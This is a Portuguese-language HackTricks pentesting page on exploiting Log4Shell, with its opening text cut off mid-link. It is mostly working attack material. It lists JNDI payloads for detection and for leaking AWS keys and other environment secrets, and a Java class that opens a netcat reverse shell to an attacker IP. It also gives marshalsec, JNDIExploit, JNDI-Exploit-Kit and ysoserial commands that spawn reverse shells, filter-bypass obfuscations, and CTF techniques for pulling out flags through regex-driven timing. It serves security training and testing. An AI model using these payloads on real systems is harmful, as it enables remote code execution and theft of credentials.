23 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62 Essa suposição rapidamente desapareceu quando o CVE-2021-4104 foi descoberto como impactando também o Log4j 1.x, e a possibilidade de um potencial impacto no Logback foi avaliada. Novas versões mais recentes do Logback, 1.3.0-alpha11 e 1.2.9, que abordam essa vulnerabilidade menos grave, foram agora lançadas.
- CVE-2021-45105 [Alto]: Foi descoberto que o Log4j 2.16.0 é vulnerável a uma falha de DoS classificada como 'Alta' em gravidade. A Apache lançou uma versão log4j 2.17.0 corrigindo o CVE. Mais detalhes sobre esse desenvolvimento são fornecidos no último relatório do BleepingComputer.
- CVE-2021-44832: Esse novo CVE afeta a versão 2.17 do Log4j. Essa vulnerabilidade exige que o atacante controle o arquivo de configuração do Log4j, pois é possível indicar uma URL JDNI em um JDBCAppender configurado. Para informações sobre a vulnerabilidade e exploração, leia esta informação.
Exploração do Log4Shell
Descoberta
Essa vulnerabilidade é muito fácil de descobrir, pois enviará pelo menos uma solicitação DNS para o endereço que você indicar em sua carga útil. Portanto, cargas úteis como:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(usando canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(usando interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(usando o Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(usando dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
usando (usando huntress)
Observe que mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável (ou mesmo vulnerável), você precisará tentar explorá-la.
Lembre-se de que para explorar a versão 2.15 você precisa adicionar a burla de verificação de localhost: ${jndi:ldap://127.0.0.1#...}
Descoberta Local
Procure por versões locais vulneráveis da biblioteca com:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verificação
Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando solicitados.
Isso pode ser muito útil para 2 coisas:
- Para verificar a vulnerabilidade
- Para exfiltrar informações abusando da vulnerabilidade
Por exemplo, você poderia solicitar algo como:
ou como ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
e se uma solicitação DNS for recebida com o valor da variável de ambiente, você sabe que a aplicação é vulnerável.
Outras informações que você poderia tentar vazar:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
Informações sobre RCE
Os hosts que executam versões JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP, MAS NÃO o vetor de desserialização. Isso ocorre porque com.sun.jndi.ldap.object.trustURLCodebase
está desativado por padrão, portanto, o JNDI não pode carregar um código remoto usando LDAP. Mas devemos enfatizar que a desserialização e vazamentos de variáveis ainda são possíveis.
Isso significa que, para explorar as versões mencionadas, você precisará abusar de algum gadget confiável que exista na aplicação Java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões mais baixas, você pode fazê-las carregar e executar classes arbitrariamente (o que torna o ataque mais fácil).
Para mais informações (como limitações nos vetores RMI e CORBA) verifique a seção anterior de Referência de Nomes JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsec com payload personalizado
Este truque é totalmente retirado da THM box: https://tryhackme.com/room/solar__
Para este exploit, a ferramenta marshalsec (baixe uma versão jar daqui) será usada para criar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário, onde o exploit será servido:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:
{% code title="" %}
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
{% endcode %}
Crie o arquivo de classe executando: javac Exploit.java -source 8 -target 8
e depois execute um servidor HTTP no mesmo diretório em que o arquivo de classe foi criado: python3 -m http.server
.
O servidor LDAP do marshalsec deve apontar para este servidor HTTP.
Em seguida, você pode fazer com que o servidor web vulnerável execute a classe de exploit enviando um payload como:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Observação: Se o Java não estiver configurado para carregar a base de código remota usando LDAP, este exploit personalizado não funcionará. Nesse caso, é necessário abusar de uma classe confiável para executar código arbitrário.
RCE - JNDIExploit
Observe que, por algum motivo, o autor removeu este projeto do Github após a descoberta do log4shell. Você pode encontrar uma versão em cache em https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, mas se você quiser respeitar a decisão do autor, use um método diferente para explorar essa vulnerabilidade.
Além disso, você não pode encontrar o código-fonte na máquina do wayback, então analise o código-fonte ou execute o jar sabendo que você não sabe o que está executando.
Para este exemplo, você pode simplesmente executar este servidor web vulnerável ao log4shell na porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (no README você encontrará como executá-lo). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP X-Api-Version.
Em seguida, você pode baixar o arquivo jar JNDIExploit e executá-lo com:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Depois de ler o código por apenas alguns minutos, em com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer, você pode ver como os servidores LDAP e HTTP são criados. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.
Em com.feihong.ldap.gadgets, você pode encontrar alguns gadgets específicos que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em com.feihong.ldap.template, você pode ver as diferentes classes de modelo que gerarão os exploits.
Você pode ver todos os exploits disponíveis com java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Alguns úteis são:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Então, no nosso exemplo, já temos o aplicativo vulnerável do docker em execução. Para atacá-lo:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Ao enviar os ataques, você verá alguma saída no terminal onde executou o JNDIExploit-1.2-SNAPSHOT.jar.
Lembre-se de verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
para outras opções de exploração. Além disso, caso precise, é possível alterar a porta dos servidores LDAP e HTTP.
RCE - JNDI-Exploit-Kit
De maneira semelhante ao exploit anterior, você pode tentar usar o JNDI-Exploit-Kit para explorar essa vulnerabilidade.
Você pode gerar os URLs para enviar à vítima executando:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Este ataque usando um objeto java gerado personalizado funcionará em laboratórios como a sala solar THM. No entanto, isso geralmente não funcionará (porque por padrão o Java não está configurado para carregar uma base de código remota usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário.
RCE - ysoserial & JNDI-Exploit-Kit
Esta opção é realmente útil para atacar versões Java configuradas para confiar apenas em classes especificadas e não em todos. Portanto, ysoserial será usado para gerar serializações de classes confiáveis que podem ser usadas como gadgets para executar código arbitrário (a classe confiável abusada pelo ysoserial deve ser usada pelo programa java da vítima para que o exploit funcione).
Usando ysoserial ou ysoserial-modified você pode criar o exploit de deserialização que será baixado pelo JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Use o JNDI-Exploit-Kit para gerar links JNDI onde o exploit estará esperando conexões das máquinas vulneráveis. Você pode servir diferentes exploits que podem ser gerados automaticamente pelo JNDI-Exploit-Kit ou até mesmo seus próprios payloads de deserialização (gerados por você ou pelo ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um shell reverso apenas enviando para uma versão vulnerável do log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Scanners Automáticos
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Encontre bibliotecas vulneráveis locais
Laboratórios para testar
- Máquina HTB LogForge
- Try Hack Me Solar room
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Pós-Exploração do Log4Shell
Neste writeup de CTF é bem explicado como é possível abusar de algumas funcionalidades do Log4J.
A página de segurança do Log4j tem algumas frases interessantes:
A partir da versão 2.16.0 (para Java 8), a funcionalidade de busca de mensagens foi completamente removida. As buscas na configuração ainda funcionam. Além disso, o Log4j agora desativa o acesso ao JNDI por padrão. As buscas JNDI na configuração agora precisam ser habilitadas explicitamente.
A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), apenas as strings de busca na configuração são expandidas recursivamente; em qualquer outro uso, apenas a busca de nível superior é resolvida e quaisquer buscas aninhadas não são resolvidas.
Isso significa que, por padrão, você pode esquecer o uso de qualquer exploit jndi
. Além disso, para realizar buscas recursivas, você precisa tê-las configuradas.
Por exemplo, neste CTF, isso foi configurado no arquivo log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Buscas de Ambiente
Neste CTF, o atacante controlava o valor de ${sys:cmd}
e precisava extrair a flag de uma variável de ambiente.
Como visto nesta página em cargas úteis anteriores, existem diferentes maneiras de acessar variáveis de ambiente, como: ${env:FLAG}
. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real.
Exfiltração em Exceções
No CTF, você não podia acessar o stderr do aplicativo java usando o log4J, mas as exceções do Log4J são enviadas para stdout, que foi impresso no aplicativo python. Isso significava que, ao disparar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: ${java:${env:FLAG}}
. Isso funciona porque ${java:CTF{blahblah}}
não existe e uma exceção com o valor da flag será mostrada:
Exceções de Padrões de Conversão
Apenas para mencionar, você também pode injetar novos padrões de conversão e disparar exceções que serão registradas em stdout
. Por exemplo:
Isso não foi útil para exfiltrar a data dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas pode ser útil para outras coisas, como detecção.
Regexes de Padrões de Conversão
No entanto, é possível usar alguns padrões de conversão que suportam regexes para exfiltrar informações de uma pesquisa usando regexes e abusando de comportamentos de busca binária ou baseados em tempo.
- Busca binária via mensagens de exceção
O padrão de conversão %replace
pode ser usado para substituir conteúdo de uma string mesmo usando regexes. Funciona assim: replace{pattern}{regex}{substituição}
Abusando desse comportamento, você pode fazer com que o replace dispare uma exceção se o regex corresponder a qualquer coisa dentro da string (e nenhuma exceção se não for encontrado), assim:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Baseado em tempo
Como mencionado na seção anterior, %replace
suporta regexes. Portanto, é possível usar um payload da página ReDoS para causar um timeout caso a flag seja encontrada.
Por exemplo, um payload como %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
causaria um timeout nesse CTF.
Neste writeup, em vez de usar um ataque ReDoS, foi usado um ataque de amplificação para causar uma diferença de tempo na resposta:
/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
Se a flag começar com flagGuess
, toda a flag será substituída por 29 #
-s (eu usei esse caractere porque provavelmente não faria parte da flag). Cada um dos 29 #
-s resultantes é então substituído por 54 #
-s. Esse processo é repetido 6 vezes, resultando em um total de 29*54*54^6* =`` ``
96816014208
#
-s!
Substituir tantos #
-s acionará o timeout de 10 segundos do aplicativo Flask, o que, por sua vez, resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com flagGuess
, receberemos um código de status não 500)
Referências
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/